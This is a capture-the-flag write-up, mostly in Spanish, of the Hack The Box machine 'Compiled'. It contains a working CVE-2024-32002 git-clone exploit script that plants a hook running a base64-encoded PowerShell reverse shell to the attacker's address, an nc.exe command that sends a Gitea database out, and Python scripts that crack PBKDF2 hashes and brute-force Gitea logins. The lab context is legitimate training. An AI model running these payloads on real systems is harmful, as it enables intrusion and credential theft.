Table of Contents
Hack The Box: Compiled
Welcome to my detailed writeup of the medium difficulty machine “Compiled” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
Primero escaneo todos los puertos por TCP con rustscan
1$ rustscan -a 10.129.255.250 --ulimit 5000 -g
210.129.255.250 -> [3000,5000,7680]
Luego hago un escaneo mas exhaustivo con nmap
1$ nmap -p3000,5000,7680 -sCV 10.129.255.250 -Pn -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-30 21:27 CEST
3Nmap scan report for 10.129.255.250
4Host is up (0.037s latency).
5
6PORT STATE SERVICE VERSION
73000/tcp open ppp?
8| fingerprint-strings:
9| GenericLines, Help, RTSPRequest:
10| HTTP/1.1 400 Bad Request
11| Content-Type: text/plain; charset=utf-8
12| Connection: close
13| Request
14| GetRequest:
15| HTTP/1.0 200 OK
16| Cache-Control: max-age=0, private, must-revalidate, no-transform
17| Content-Type: text/html; charset=utf-8
18| Set-Cookie: i_like_gitea=193f0f025a536eb6; Path=/; HttpOnly; SameSite=Lax
19| Set-Cookie: _csrf=eKtRD6QCEx476Nv2f_giC15R3ec6MTcyMjM2MDQ4NzY3NzcxMjcwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
20| X-Frame-Options: SAMEORIGIN
21| Date: Tue, 30 Jul 2024 17:28:07 GMT
22| <!DOCTYPE html>
23| <html lang="en-US" class="theme-arc-green">
24| <head>
25| <meta name="viewport" content="width=device-width, initial-scale=1">
26| <title>Git</title>
27| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA
28| HTTPOptions:
29| HTTP/1.0 405 Method Not Allowed
30| Allow: HEAD
31| Allow: HEAD
32| Allow: GET
33| Cache-Control: max-age=0, private, must-revalidate, no-transform
34| Set-Cookie: i_like_gitea=0d76a4cf591abb3e; Path=/; HttpOnly; SameSite=Lax
35| Set-Cookie: _csrf=3fUSP1-VxrsgO-QVe5dhPf2B7jo6MTcyMjM2MDQ5MzEwODAyOTkwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
36| X-Frame-Options: SAMEORIGIN
37| Date: Tue, 30 Jul 2024 17:28:13 GMT
38|_ Content-Length: 0
395000/tcp open upnp?
40| fingerprint-strings:
41| GetRequest:
42| HTTP/1.1 200 OK
43| Server: Werkzeug/3.0.3 Python/3.12.3
44| Date: Tue, 30 Jul 2024 17:28:07 GMT
45| Content-Type: text/html; charset=utf-8
46| Content-Length: 5234
47| Connection: close
48| <!DOCTYPE html>
49| <html lang="en">
50| <head>
51| <meta charset="UTF-8">
52| <meta name="viewport" content="width=device-width, initial-scale=1.0">
53| <title>Compiled - Code Compiling Services</title>
54| <!-- Bootstrap CSS -->
55| <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
56| <!-- Custom CSS -->
57| <style>
58| your custom CSS here */
59| body {
60| font-family: 'Ubuntu Mono', monospace;
61| background-color: #272822;
62| color: #ddd;
63| .jumbotron {
64| background-color: #1e1e1e;
65| color: #fff;
66| padding: 100px 20px;
67| margin-bottom: 0;
68| .services {
69| RTSPRequest:
70| <!DOCTYPE HTML>
71| <html lang="en">
72| <head>
73| <meta charset="utf-8">
74| <title>Error response</title>
75| </head>
76| <body>
77| <h1>Error response</h1>
78| <p>Error code: 400</p>
79| <p>Message: Bad request version ('RTSP/1.0').</p>
80| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
81| </body>
82|_ </html>
837680/tcp open pando-pub?
842 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
85==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
86SF-Port3000-TCP:V=7.94SVN%I=7%D=7/30%Time=66A93EB6%P=x86_64-pc-linux-gnu%r
87SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
88SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
89SF:d\x20Request")%r(GetRequest,37D5,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
90SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
91SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
92SF:ea=193f0f025a536eb6;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
93SF:kie:\x20_csrf=eKtRD6QCEx476Nv2f_giC15R3ec6MTcyMjM2MDQ4NzY3NzcxMjcwMA;\x
94SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
95SF:ions:\x20SAMEORIGIN\r\nDate:\x20Tue,\x2030\x20Jul\x202024\x2017:28:07\x
96SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"the
97SF:me-arc-green\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"widt
98SF:h=device-width,\x20initial-scale=1\">\n\t<title>Git</title>\n\t<link\x2
99SF:0rel=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoiR2
100SF:l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21wa
101SF:WxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVk
102SF:Lmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l
103SF:6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMD
104SF:A")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
105SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
106SF:20Request")%r(HTTPOptions,1A4,"HTTP/1\.0\x20405\x20Method\x20Not\x20All
107SF:owed\r\nAllow:\x20HEAD\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Cont
108SF:rol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nS
109SF:et-Cookie:\x20i_like_gitea=0d76a4cf591abb3e;\x20Path=/;\x20HttpOnly;\x2
110SF:0SameSite=Lax\r\nSet-Cookie:\x20_csrf=3fUSP1-VxrsgO-QVe5dhPf2B7jo6MTcyM
111SF:jM2MDQ5MzEwODAyOTkwMA;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20Sam
112SF:eSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Tue,\x2030\x20J
113SF:ul\x202024\x2017:28:13\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPR
114SF:equest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
115SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
116SF:quest");
117==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
118SF-Port5000-TCP:V=7.94SVN%I=7%D=7/30%Time=66A93EB7%P=x86_64-pc-linux-gnu%r
119SF:(GetRequest,1521,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3
120SF:\x20Python/3\.12\.3\r\nDate:\x20Tue,\x2030\x20Jul\x202024\x2017:28:07\x
121SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
122SF::\x205234\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20l
123SF:ang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\
124SF:x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\
125SF:x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Compiled\x20-\x20Code\
126SF:x20Compiling\x20Services</title>\n\x20\x20\x20\x20<!--\x20Bootstrap\x20
127SF:CSS\x20-->\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"https
128SF:://stackpath\.bootstrapcdn\.com/bootstrap/4\.5\.2/css/bootstrap\.min\.c
129SF:ss\">\n\x20\x20\x20\x20<!--\x20Custom\x20CSS\x20-->\n\x20\x20\x20\x20<s
130SF:tyle>\n\x20\x20\x20\x20\x20\x20\x20\x20/\*\x20Add\x20your\x20custom\x20
131SF:CSS\x20here\x20\*/\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20
132SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20'Ubuntu\x20Mono
133SF:',\x20monospace;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20backg
134SF:round-color:\x20#272822;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
135SF:x20color:\x20#ddd;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20
136SF:\x20\x20\x20\x20\.jumbotron\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\
137SF:x20\x20\x20background-color:\x20#1e1e1e;\n\x20\x20\x20\x20\x20\x20\x20\
138SF:x20\x20\x20\x20\x20color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
139SF:0\x20\x20\x20padding:\x20100px\x2020px;\n\x20\x20\x20\x20\x20\x20\x20\x
140SF:20\x20\x20\x20\x20margin-bottom:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x2
141SF:0}\n\x20\x20\x20\x20\x20\x20\x20\x20\.services\x20{\n\x20")%r(RTSPReque
142SF:st,16C,"<!DOCTYPE\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<hea
143SF:d>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x
144SF:20\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x2
145SF:0\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<
146SF:h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20
147SF:code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x2
148SF:0request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\
149SF:x20\x20<p>Error\x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x
150SF:20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\
151SF:n</html>\n");
152
153Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
154Nmap done: 1 IP address (1 host up) scanned in 99.56 seconds
Enumerating Web Services
El puerto 3000 corresponde a una instancia de Gitea, y nos podemos dar cuenta de que está habilitado el registro.
También detectamos dos repositorios, una calculadora simple en C++
y el código fuente del servicio del puerto 5000
El puerto 5000 parece que corresponde a un servicio web
Vamos a echar un vistazo con whatweb
y vemos que el servicio del puerto 5000
corresponde a un servidor web que por detrás emplea Flask.
1$ whatweb http://10.129.255.250:5000
2http://10.129.255.250:5000 [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.129.255.250], JQuery, Python[3.12.3], Script, Title[Compiled - Code Compiling Services], Werkzeug[3.0.3
Esta es la pinta que tiene la página principal.
Tras enumerar el servicio web, no hay nada interesante. Pero me pide una URL de un repositorio de git para, supuestamente, compilar mi código que tiene que ser C++
, C#
o .NET
Foothold
Weaponizing Visual Studio project (failed)
Esto me recuerda mucho a la máquina Visual
Así que ya me imagino por donde puede ir la explotación, para la máquina Visual necesitabamos hostear el repositorio con Gitea ya que era lo mas fácil, pero aquí ya tenemos hasta el Gitea levantado por el puerto 3000
y nos podemos hacer una cuenta.
Volviendo al Gitea, podemos ver el archivo app.py que corresponde con este servicio.
1from flask import Flask, request, render_template, redirect, url_for
2import os
3
4app = Flask(__name__)
5
6# Configuration
7REPO_FILE_PATH = r'C:\Users\Richard\source\repos\repos.txt'
8
9@app.route('/', methods=['GET', 'POST'])
10def index():
11 error = None
12 success = None
13 if request.method == 'POST':
14 repo_url = request.form['repo_url']
15 if # Add a sanitization to check for valid Git repository URLs.
16 with open(REPO_FILE_PATH, 'a') as f:
17 f.write(repo_url + '\n')
18 success = 'Your git repository is being cloned for compilation.'
19 else:
20 error = 'Invalid Git repository URL. It must start with "http://" and end with ".git".'
21 return render_template('index.html', error=error, success=success)
22
23if __name__ == '__main__':
24 app.run(host='0.0.0.0', port=5000)
Si nos damos cuenta, el funcionamiento es que primero comprueba si es un repositorio válido (que en ese momento parece que no estaba añadida la sanitización de la URL), y acto seguido escribe esta URL en C:\Users\Richard\source\repos\repos.txt
y supongo que habrá alguna tarea por detrás o habrá alguna actualización en el código para después compilarlo.
También podemos saber que cuando ganemos acceso a la máquina probablemente lo ganemos como el usuario Richard
En el repositorio Calculator
vemos el siguiente código
1// Created by Richard Goodman (contact me at richard@compiled.htb)
2
3#include <iostream>
4#include <cmath>
5
6using namespace std;
7
8int main()
9{
10 // Variables
11 string operation;
12 double number1, number2;
13
14 // Input
15 cout << "Enter first number: ";
16 cin >> number1;
17 cout << "Enter operation (+, -, *, /): ";
18 cin >> operation;
19 cout << "Enter second number: ";
20 cin >> number2;
21
22 // if else statement checking entered operation
23 if (operation == "+") {
24 cout << number1 + number2;
25 }
26 else if (operation == "-") {
27 cout << number1 - number2;
28 }
29 else if (operation == "*") {
30 cout << number1 * number2;
31 }
32 else if (operation == "/") {
33 cout << number1 / number2;
34 }
35 else {
36 cout << "Not recognized either operation or number:(";
37 }
38
39 return 0;
40}
Esto no nos sirve de nada, pero el proyecto nos sirve para poder añadir la propiedad.
Nos creamos una cuenta en el Gitea y creamos un repositorio.
Ahora nos clonamos el repositorio original de Calculator
y tenemos que modificar el archivo Calculator.vcxproj
Agregué esta linea, hice un commit al repositorio y…
1 <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
2 <Exec Command="ping 10.10.14.71" />
3 </Target>
No conseguimos ejecución remota de comandos, así que toca buscar una forma alternativa de conseguir RCE.
1$ sudo tcpdump icmp -i tun0
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
4^C
50 packets captured
60 packets received by filter
70 packets dropped by kernel
Enumerando un poco mas el repositorio de Calculator
vemos que en el README.md
se encuentra lo siguiente.
1C:\Users\Richard> git --version
2git version 2.45.0.windows.1
3C:\Users\Richard>
Y vemos que hay una vulnerabilidad de tipo RCE.
Abusing CVE-2024-32002 (Remote Command execution via git clone)
Esta vulnerabilidad se basa en crear un repositorio malicioso, y si la víctima clona este repositorio con el parámetro --recursive
podría ejecutar hooks
que estén contemplados en los submódulos del repositorio y conseguir RCE. La vulnerabilidad existe por la forma en la que Git gestiona los enlaces simbólicos en los submódulos de los repositorios.
Voy a utilizar este PoC
Primero nos vamos a crear un repositorio que se llame hook
Luego otro que se llame incredibol
(por ejemplo)
Ahora, nos podemos descargar este archivo .sh
del creador del artículo anteriormente mencionado.
https://github.com/amalmurali47/git_rce/blob/main/create_poc.sh
Modificamos el script para ejecutar un comando en windows y adaptamos el nombre de los repositorios..
1#!/bin/bash
2
3git config --global protocol.file.allow always
4git config --global core.symlinks true
5
6hook_repo_path="http://10.129.255.250:3000/pointedsec/hook.git"
7
8git clone "$hook_repo_path"
9cd hook
10mkdir -p y/hooks
11
12cat > y/hooks/post-checkout <<EOF
13powershell ping 10.10.14.71
14EOF
15
16chmod +x y/hooks/post-checkout
17
18git add y/hooks/post-checkout
19
20git commit -m "post-checkout"
21git push
22
23cd ..
24
25incredibol_repo_path="http://10.129.255.250:3000/pointedsec/incredibol.git"
26
27git clone "$incredibol_repo_path"
28cd incredibol
29git submodule add --name x/y "$hook_repo_path" A/modules/x
30git commit -m "add-submodule"
31
32printf ".git" > dotgit.txt
33git hash-object -w --stdin < dotgit.txt > dot-git.hash
34printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
35git update-index --index-info < index.info
36
37git commit -m "add-symlink"
38git push
Ejecutamos el script, y una vez termine, simplemente le tenemos que pasar el repositorio incredibol
para que intente compilarlo en la máquina víctima.
¡Y tenemos RCE!
1$ sudo tcpdump icmp -i tun0
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
4
522:21:24.079142 IP 10.129.255.250 > 10.10.14.71: ICMP echo request, id 1, seq 1, length 40
622:21:24.079166 IP 10.10.14.71 > 10.129.255.250: ICMP echo reply, id 1, seq 1, length 40
722:21:25.088732 IP 10.129.255.250 > 10.10.14.71: ICMP echo request, id 1, seq 2, length 40
822:21:25.088755 IP 10.10.14.71 > 10.129.255.250: ICMP echo reply, id 1, seq 2, length 40
922:21:26.092072 IP 10.129.255.250 > 10.10.14.71: ICMP echo request, id 1, seq 3, length 40
1022:21:26.092092 IP 10.10.14.71 > 10.129.255.250: ICMP echo reply, id 1, seq 3, length 40
1122:21:27.094250 IP 10.129.255.250 > 10.10.14.71: ICMP echo request, id 1, seq 4, length 40
1222:21:27.094269 IP 10.10.14.71 > 10.129.255.250: ICMP echo reply, id 1, seq 4, length 40
Ahora voy a crear de nuevo los repositorios y vamos a modificar el script para establecernos una reverse shell.
1#!/bin/bash
2
3git config --global protocol.file.allow always
4git config --global core.symlinks true
5
6hook_repo_path="http://10.129.255.250:3000/pointedsec/hook.git"
7
8git clone "$hook_repo_path"
9cd hook
10mkdir -p y/hooks
11
12cat > y/hooks/post-checkout <<EOF
13#!/bin/bash
14ping 10.10.14.71
15powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANwAxACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
16EOF
17
18chmod +x y/hooks/post-checkout
19
20git add y/hooks/post-checkout
21
22git commit -m "post-checkout"
23git push
24
25cd ..
26
27incredibol_repo_path="http://10.129.255.250:3000/pointedsec/incredibol.git"
28
29git clone "$incredibol_repo_path"
30cd incredibol
31git submodule add --name x/y "$hook_repo_path" A/modules/x
32git commit -m "add-submodule"
33
34printf ".git" > dotgit.txt
35git hash-object -w --stdin < dotgit.txt > dot-git.hash
36printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
37git update-index --index-info < index.info
38
39git commit -m "add-symlink"
40git push
Ahora si pasamos el repositorio a la aplicación…
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3
4connect to [10.10.14.71] from (UNKNOWN) [10.129.255.250] 51683
5PS C:\Users\Richard\source\cloned_repos\u1our\.git\modules\x> whoami
6Richard
En el directorio Documents
de Richard, podemos ver el script utilizado para clonar los repositorios.
1#!/bin/bash
2
3# Define the file containing repository URLs
4repos_file="C:/Users/Richard/source/repos/repos.txt"
5
6# Specify the path where you want to clone the repositories
7clone_path="C:/Users/Richard/source/cloned_repos"
8
9# Check if the file exists
10if [ ! -f "$repos_file" ]; then
11 echo "Error: Repositories file $repos_file not found."
12 exit 1
13fi
14
15# Create the clone path if it doesn't exist
16mkdir -p "$clone_path"
17
18# Loop through each repository URL in the file and clone it
19while IFS= read -r repo_url; do
20 if [[ ! -z "${repo_url}" ]]; then
21 repo_name=$(head /dev/urandom | tr -dc a-z0-9 | head -c 5)
22 echo "Cloning repository: $repo_url"
23 git clone --recursive "$repo_url" "$clone_path/$repo_name"
24 echo "Repository cloned."
25 fi
26done < "$repos_file"
27
28echo -n > "$repos_file"
29echo "All repositories cloned successfully to $clone_path."
30
31# Cleanup Section
32
33# Define the folder path
34folderPath="C:/Users/Richard/source/cloned_repos"
35
36# Check if the folder exists
37if [ -d "$folderPath" ]; then
38 echo "Deleting contents of $folderPath..."
39
40 # Delete all files in the folder
41 find "$folderPath" -mindepth 1 -type f -delete
42
43 # Delete all directories and subdirectories in the folder
44 find "$folderPath" -mindepth 1 -type d -exec rm -rf {} +
45
46 echo "Contents of $folderPath have been deleted."
47else
48 echo "Folder $folderPath not found."
49fi
Y podemos ver que a la hora de clonar el repositorio, se utiliza el --recursive
que es lo que nos habilita hacer esta explotación.
User Pivoting | Emily
Primero nos damos cuenta de que no está la flag en el directorio personal de trabajo de Richard
Enumerando usuarios nos damos cuenta de la existencia de un usuario llamado Emily
1PS C:\Windows\Temp\work> net user
2
3User accounts for \\COMPILED
4
5-------------------------------------------------------------------------------
6Administrator DefaultAccount Emily
7Invitado Richard WDAGUtilityAccount
Enumerando un poco la máquina, vemos que en el directorio Program Files
está el Gitea
En el directorio data
encontramos un archivo gitea.db
Me voy a compartir el netcat
y me paso este archivo a mi máquina.
PS C:\Windows\Temp\work> cmd /c ".\nc.exe 10.10.14.71 443 < gitea.db"
Y al analizar la base de datos nos encontramos esto.
1sqlite> select * from user;
21|administrator|administrator||administrator@compiled.htb|0|enabled|1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d|pbkdf2$50000$50|0|0|0||0|||6e1a6f3adbe7eab92978627431fd2984|a45c43d36dce3076158b19c2c696ef7b|en-US||1716401383|1716669640|1716669640|0|-1|1|1|0|0|0|1|0||administrator@compiled.htb|0|0|0|0|0|0|0|0|0||arc-green|0
32|richard|richard||richard@compiled.htb|0|enabled|4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e|pbkdf2$50000$50|0|0|0||0|||2be54ff86f147c6cb9b55c8061d82d03|d7cf2c96277dd16d95ed5c33bb524b62|en-US||1716401466|1720089561|1720089548|0|-1|1|0|0|0|0|1|0||richard@compiled.htb|0|0|0|0|2|0|0|0|0||arc-green|0
44|emily|emily||emily@compiled.htb|0|enabled|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16|pbkdf2$50000$50|1|0|0||0|||0056552f6f2df0015762a4419b0748de|227d873cca89103cd83a976bdac52486|||1716565398|1716567763|0|0|-1|1|0|0|0|0|1|0||emily@compiled.htb|0|0|0|0|0|0|0|2|0||arc-green|0
56|pointedsec|pointedsec||pointedsec@pointed.com|0|enabled|9e8b5c3188f2affd979da0985ca3f65b0b7b9b920283a2f1583d81653314beec03963da08e164a1bace8b21a74c1d15d7511|pbkdf2$50000$50|0|0|0||0|||4641ac98587ae4fae05fe9b588034b66|bdafe008c0a70c14d790894bc68547ff|en-US||1722361346|1722366996|1722361346|0|-1|1|0|0|0|0|1|0||pointedsec@pointed.com|0|0|0|0|3|0|0|0|0|unified|arc-green|0
Existe el usuario emily
y tenemos un hash pbkdf2
Para crackear este hash, tenemos que diferenciar los diferentes campos que se utilizan para encriptar la contraseña.
1sqlite> select name, passwd, rands, salt from user where name = "emily";
2emily|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16|0056552f6f2df0015762a4419b0748de|227d873cca89103cd83a976bdac52486
Tras un rato intentando crackear los hashes obtenidos con hashcat
me ha resultado imposible, y después de enumerar mas a fondo la máquina víctima, no me quedaba otra que seguir intentando crackear el hash, preferiblemente el de emily
ya que al ser un CTF, lo mas probable es que la manera intencionada de completar la máquina sea haciendo un pivoting a este usuario.
Después de estudiar como funcionan este tipo de hashes, hice un script en python para crackear este hash.
Antes de dejar el script por aquí, hay que tener en cuenta el valor dklen que también es importante. Este valor es 50. Después del script explico todo mas detalladamente.
pbkdf2$50000$50
1#!/usr/bin/python3
2import hashlib
3import binascii
4from pwn import *
5
6salt = "227d873cca89103cd83a976bdac52486" # Este salt está en hexadecimal
7key = "97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16"
8real_hashed_pwd = f"{salt}:{key}"
9rockyou = "/usr/share/wordlists/rockyou.txt"
10
11def pbkdf2(pwd, salt, iterations, dklen):
12 # Creamos un objeto del hash, la pwd tiene que estar en formato bytes y el salt sin hexadecimal, por eso hacemos un binascii.unhexlify
13 hash = hashlib.pbkdf2_hmac('sha256', pwd, binascii.unhexlify(salt), iterations, dklen).hex()
14 return f"{salt}:{hash}"
15
16def crack():
17 p = log.progress("Bruteforcing...")
18 with open(rockyou, "r", encoding="utf-8") as file:
19 for pwd in file:
20 p.status("Probando " + pwd.strip())
21 hash = pbkdf2(pwd.strip().encode(), salt, 50000, 50)
22 if (hash == real_hashed_pwd):
23 p.success("The motherfucking password ha sido crackeada: " + pwd)
24 break
25
26if __name__ == "__main__":
27 crack()
salt
: La sal utilizada en el proceso de hashing, en formato hexadecimal.key
: El hash que estamos tratando de crackear.real_hashed_pwd
: Combinación del salt y el hash, en el mismo formato que se generará durante el proceso de crackeo.rockyou
: Ruta al archivo de wordlistrockyou.txt
, que contiene una lista de posibles contraseñas.
La función realiza lo siguiente:
- Convierte el salt de hexadecimal a binario.
- Genera un hash utilizando
hashlib.pbkdf2_hmac
con los parámetros especificados. - Convierte el hash resultante a hexadecimal y lo combina con la sal en el formato
salt:hash
Y ahora…
1$ python3 crack.py
2[+] Bruteforcing...: The motherfucking password ha sido crackeada: 12345678
Perfecto, esta debe de ser la credencial de Emily.
Lateralmente podríamos haber hecho fuerza bruta al Gitea y probablemente hubieramos tardado menos en conseguir esta credencial.
De hecho, he hecho un script para hacer fuerza bruta y en términos de ahorro de tiempo, hubiera salido mas rentable.
1#!/usr/bin/python3
2import requests
3from pwn import *
4import signal
5
6username = "emily"
7base_url = "http://10.129.255.250:3000/user/login"
8rockyou = "/usr/share/wordlists/rockyou.txt"
9
10def def_handler(a, b):
11 print("[x] Saliendo...")
12 exit(0)
13
14signal.signal(signal.SIGINT, def_handler)
15
16def do_request(username, pwd):
17 s = requests.Session()
18 r = s.get(base_url)
19 headers = {
20 "Content-Type": "application/x-www-form-urlencoded"
21 }
22 data = {
23 "_csrf" : r.cookies['_csrf'],
24 "user_name": username,
25 "password": pwd
26 }
27 res = s.post(base_url, headers=headers, data=data)
28 if ("Username or password is incorrect." not in res.text):
29 return True
30 return False
31
32def brute():
33 p = log.progress("Bruteforcing...")
34 with open(rockyou, "r", encoding="utf-8") as file:
35 for pwd in file:
36 p.status("Probando: " + pwd)
37 password = pwd.strip()
38 if (do_request(username, password) == True):
39 p.success("La madafakin contraseña es " + password)
40
41if __name__ == "__main__":
42 brute()
1$ python3 brute.py
2[+] Bruteforcing...: La madafakin contraseña es 12345678
Bueno, ya sabemos que la contraseña es 12345678
Ahora con RunasCs.exe
podemos pivotar de usuario, nos lo subimos en la máquina víctima.
